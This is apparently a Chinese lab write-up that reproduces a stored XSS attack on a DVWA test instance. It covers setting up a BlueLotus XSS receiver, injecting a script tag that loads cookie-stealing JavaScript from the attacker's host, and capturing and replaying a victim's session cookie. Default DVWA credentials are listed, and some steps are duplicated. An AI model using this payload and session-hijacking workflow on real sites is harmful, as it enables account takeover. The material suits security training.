漏洞复现--xss

news2025/1/15 12:42:30

目录

一、实验目的

二、实验环境

三、 实验过程

搭建XSS平台

制作XSS脚本并注入

利用Cookie登录用户账号

 一、实验目的

  • 实验目的

本实验学习如何搭建个人的XSS平台以及如何使用XSS平台盗用用户Cookie登录。

二、实验环境

服务器:Windows 7
Target IP:10.1.1.100,Attack IP:10.1.1.200
辅助工具:phpstudy2016,BlueLotus_XSSReceiver,DVWA
辅助工具涉及版权问题不方便提供!!!

三、 实验过程

搭建XSS平台

1.下载安装包

首先我们需要先切换至Attack机,也就是我们的攻击机(即当前机器)

打开浏览器,输入:http://tools.hetianlab.com/tools/bluelotus.zip,下载及保存并解压

将解压完成的BlueLotus_XSSReceiver-master文件夹重命名为xss

复制xss文件夹,放入路径为C:\phpstudy2016\WWW下,如下图

2.开启服务

桌面找到phpstudy2016,双击运行,进入主界面之后,点击“启动”,将Apache和Mysql服务开启

3.搭建XSS平台

打开火狐浏览器,输入:http://10.1.1.200/xss,然后点击“安装”,如下图

将“后台登入密码”和“数据加密密码”进行修改,我这边是统一修改为“xss”,其它内容根据需求决定,属于可选项

配置完成之后,点击下方的“提交”, 提交完成之后,就安装成功了,如下图,点击“登入”

输入刚才修改的密码,我是修改为“xss”,所以我这边输入“xss”即可,输入完成之后点击箭头

登入主界面

制作XSS脚本并注入

1.制造XSS脚本

选择公共模板,在“default.js”下,修改模板,将“http://网站地址”修改为“http://10.1.1.200/xss/index.php”,修改完成之后点击“修改”,如下图

然后选择“我的JS”,点击“添加”,文件名填写为“cookie”

接下来就是,插入我们刚才修改的模板,点击“选择js模板”,选择“default.js”,然后点击“插入模板”

左边就会有我们创建的“cookie.js”

点击“生成payload” 复制产生的代码

<script src="http://10.1.1.200/xss/myjs/cookie.js"></script>

2.进入演示平台

打开火狐浏览器,输入http://10.1.1.200/dvwa,输入默认账号和密码
注:DVWA的默认用户名和密码: 1337/charley;admin/password;gordonb/abc123;pablo/letmein;smithy/password
这里我们选择攻击者用户就输入admin/password ,点击Login

3.修改DVWA配置

进入主界面后,我们选择“DVWA Security”,将难度由“Impossible”改为“Low”,最后点击“submit”

4.上传XSS脚本

点击“XSS(Stored)”,点击“clear guertbook”,将留言板数据清除

将我们复制的代码写入“Message”,Name填入cookie,点击“sign guestbook”进行留言板签名,如下图

上传成功之后,显示如下图

5.查看XSS平台监控

当我们上传XSS代码上去之后,我们的XSS平台会有一条消息,点击“接受面板”查看,如无数据,点击刷新即可,这是我们攻击者用户的cookie

利用Cookie登录用户账号

1.受害者用户登录

我们首先需要切换至Target机,也就是我们的目标机

扮演受害者方,打开谷歌浏览器,扮演我们受害者用户,输入:http://10.1.1.200/dvwa,进入DVWA主界面,输入受害者用户账号密码1337/charley,登录受害者用户,保证受害者方账号不退出

扮演受害者方,打开谷歌浏览器,扮演我们受害者用户,输入:http://10.1.1.200/dvwa,进入DVWA主界面,输入受害者用户账号密码1337/charley,登录受害者用户,保证受害者方账号不退出

进入主界面之后,选择难度为“Low”

然后点击“XSS(Stored)”即可

2.获取受害者用户的Cookie

切换至Attack机,即我们的攻击机,然后来到火狐浏览器,即攻击方,当受害者用户点击“XSS(Stored)”之后,XSS平台会有一条消息,刷新,查看“接受面板”,发现多了一个数据,这就是我们受害者用户的一个数据,在这里面我们可以看到受害者的cookie,如下图

我们把这些信息复制下来放在文本编辑器里面,方便等会使用

3.利用受害者用户的Cookie登录

我们将cookie复制下来,在火狐浏览器上退出我们攻击方用户,回到我们DVWA的主界面,来到如下图界面,进入dvwa的登录主界面

按F12键,在“存储”内,左方有Cookie,选择http://10.1.2.100,将“PHPSESSID”和“secuity”进行更改,将信息更改为受害者的Cookie,更改完成之后,如下图

按F12键,在“存储”内,左方有Cookie,选择http://10.1.2.100,将“PHPSESSID”和“secuity”进行更改,将信息更改为受害者的Cookie,更改完成之后,如下图

回到我们Target机,即我们的目标机,在谷歌浏览器查看受害者账户是否为在线状态,我们可以刷新网页,发现1337用户掉线了,所以我们需要重新输入账号密码,使得1337用户为在线状态(如果不掉线则不需要操作此步骤)

然后回到Attack机,在火狐浏览器中替换Cookie的网页上输入网址为:http://10.1.1.200/dvwa/vulnerabilities/xss_s/,点击回车键

点击“About”,查看信息,成功进入受害者用户1337

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/156194.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【笔记:第5课】学习开发一个RISC-V上的操作系统 - 汪辰 - 2021春

文章目录前言来源正文小结前言 创作开始时间&#xff1a;2023年1月11日16:55:32 如题&#xff0c;学习一下RISC-V。 来源 https://www.bilibili.com/video/BV1Q5411w7z5?p5&vd_source73a25632b4f745be6bbcfe3c82bb7ec0 刚刚才知道老师是PLCT实验室的&#xff0c;牛。…

C 程序设计教程(16)—— 循环结构程序设计

C 程序设计教程&#xff08;16&#xff09;—— 循环结构程序设计 该专栏主要介绍 C 语言的基本语法&#xff0c;作为《程序设计语言》课程的课件与参考资料&#xff0c;用于《程序设计语言》课程的教学&#xff0c;供入门级用户阅读。 目录C 程序设计教程&#xff08;16&…

Vue3之对Dialog的简单封装

之前使用的UI框架,无论是Element UI/Plus 还是 Ant design&#xff0c;其中Dialog组件中的结构和样式都难以修改&#xff0c;无论是使用less、deep还是其他方法&#xff0c;对其组件中css的修改都不生效&#xff08;不确定是否有其他解决方法&#xff09;&#xff0c;所以我就自…

【小白必看】2023年PMP考试报名时间,报考条件,超全PMP备考指南

PMP 考试一年能考四次&#xff0c;分别是3月、6月、9月、12月&#xff0c;提前 2 个月开始报名&#xff0c;但还是要关注PMI/基金会官网的信息&#xff0c;有特殊情况的会在官网公布。现在放开了&#xff0c;2023年PMP 考试应该不会再延期了&#xff0c;之前没考上的&#xff0…

重装系统win11的步骤和详细教程

想要给电脑重装系统win11使用&#xff0c;但是自己对于相关的重装操作不熟悉怎么样?我们可以网上的小白装机工具实现&#xff0c;那么具体怎么重装系统win11?下面就演示下重装系统win11的步骤和详细教程。 工具/原料&#xff1a; 系统版本&#xff1a;Windows 11 品牌型号…

js使用小顶堆构建优先级队列

什么是优先级队列? 优先级队列是队列的一个变种,队列是一个先进先出的结构,在头部出队元素在尾部入队元素, 优先级队列顾名思义就是给每个元素具备了优先级,优先级决定了元素在队列中的存储位置,优先级越高的越靠前越先出队 小顶堆又是什么? 小顶堆是堆结构的一个分支,堆…

浙大MEM提面优秀成功上岸经验分享——完全准备才能“聊”的好

近期元旦放假&#xff0c;终于有时间写一写关于自己浙大MEM提面上岸的一些经验分享了。这篇可能对接下来参加2024年浙大mem考试的考生会有一些作用。因为我是参加了提前批面试&#xff0c;并在面试中取得了优秀的资格&#xff0c;所以这也为我后续的联考和录取环节减轻了不少的…

[JAVA安全]filter 内存马

原理&#xff1a; Servlet 有自己的过滤器 filter &#xff0c; 可以通过自定义的过滤器&#xff0c;来对用户的请求进行拦截等操作。 经过filter 之后才会刀Servlet &#xff0c;如果我们动态创建一个 filter 并且将其放在最前面&#xff0c;我们的filter 就会最先被执行&…

Java多线程案例——线程池及ThreadPoolExecutor类

一&#xff0c;线程池1.为什么会有线程池&#xff1f;线程池和多线程的区别&#xff1f;为了很好的解决高并发问题&#xff0c;提高计算机的运行效率&#xff0c;提出了多线程来取代多进程&#xff08;因为一个线程的创创建、销毁和调度比进程更加“轻量”&#xff0c;所以线程…

杰卡德相似度(Jaccard)详解及在UserCF中的应用

1、杰卡德相似度(Jaccard) 这个是衡量两个集合的相似度一种指标。 两个集合A和B的交集元素在A&#xff0c;B的并集中所占的比例&#xff0c;称为两个集合的杰卡德相似系数&#xff0c;用符号J(A,B)表示 另一种表示的方法&#xff1a; jaccard系数衡量维度相似性 jaccard系数很…

IT运维.服务器常见资质认证

3C证书 强制要求 CCC认证的全称为“中国强制性产品认证“ 它是为保护消费者人身安全和国家安全、加强产品质量管理、依照法律法规实施的一-种产品合格评定制度。, 节能

spring之动态代理

文章目录前言一、JDK动态代理1、业务接口OrderService2、目标对象OrderServiceImpl3、客户端程序Client4、InvocationHandler 的实现类TimeInvocationHandler5、运行结果二、CGLIB动态代理1、先引入依赖2、目标类 UserService3、客户端程序Client4、MethodInterceptor的实现类T…

温振传感器的信号输出方式及应用领域

在振动测量系统中&#xff0c;测量振动的仪器排在前端。温振传感器也称为温度振动传感器&#xff08;变送器&#xff09;&#xff0c;它可以将被测对象的振动量&#xff08;位移、速度&#xff09;准确接受后&#xff0c;并将此机械量转换为电信号显示出来。 在工业生产、食品…

内存对齐(memory align)

0. 内存结构 我们平时所称的内存也叫随机访问存储器&#xff08;random-access memory&#xff09;也叫RAM。而RAM分为两类&#xff1a; 一类是静态RAM&#xff08;SRAM&#xff09;&#xff0c;这类SRAM用于前边介绍的CPU高速缓存L1Cache&#xff0c;L2Cache&#xff0c;L3C…

不求星光灿烂,但愿岁月静好

作者&#xff1a;非妃是公主 专栏&#xff1a;《程序人生》 个性签&#xff1a;顺境不惰&#xff0c;逆境不馁&#xff0c;以心制境&#xff0c;万事可成。——曾国藩 文章目录不求星光灿烂&#xff0c;但愿岁月静好说一说这一年的自己的收获吧2022年的追求自我学会拒绝尝试表达…

Unreal单播委托

单播委托只能注册一个函数:无参无返回值给委托绑定函数:判断如果委托有绑定函数就发起广播:解绑:绑定方式除了BindUObject,还有BindUFunction,通过这种方式绑定需要给函数添加UFUNCTION标记:还有BindLambda匿名函数:BindRaw可以绑定原生C类中的函数:无参有返回值定义委托类型:声…

Linux进程状态与系统负载检测

1.基础知识-进程的5个状态进程可以分为五个状态&#xff0c;分别是&#xff1a;1&#xff09;创建状态一个应用程序从系统上启动&#xff0c;首先就是进入创建状态&#xff0c;需要获取系统资源创建进程管理块&#xff08;PCB&#xff09;完成资源分配。2) 就绪状态在创建状态完…

Dextran-Azide,Dextran-N3结构式;叠氮修饰的葡聚糖 科研用试剂说明

Dextran-N3,叠氮基团葡聚糖 英文名称&#xff1a;Dextran-Azide,Dextran-N3 中文名&#xff1a;叠氮修饰的葡聚糖 存储条件&#xff1a;-20C&#xff0c;避光&#xff0c;避湿 外观: 固体或类白色絮状&#xff0c;取决于分子量 溶剂&#xff1a;溶于大部分有机溶剂&…

kafka单节点部署,手把手从零到一

kafka单节点部署 书接上回&#xff1a;zookeeper单节点部署&#xff0c;手把手从零到一 建议配套观看 2、kafka的单节点部署 2.1、下载 这里如果和zookeeper相似的就不再赘述&#xff0c;直接上命令 wget https://archive.apache.org/dist/kafka/2.8.2/kafka_2.12-2.8.2.tgz…

深入了解ArrayBlockingQueue 阻塞队列

1. 前言 开始正式了解阻塞队列之前&#xff0c;我们需要了解什么是队列。 队列有什么作用。其实队列的作用就是解耦&#xff0c;更加确切的说应该是生产者以及消费者 之间的解耦 今天就让我们来看下ArrayBlockingQueue 的实现。虽然通过名称就可以看到&#xff0c;无非是通过数…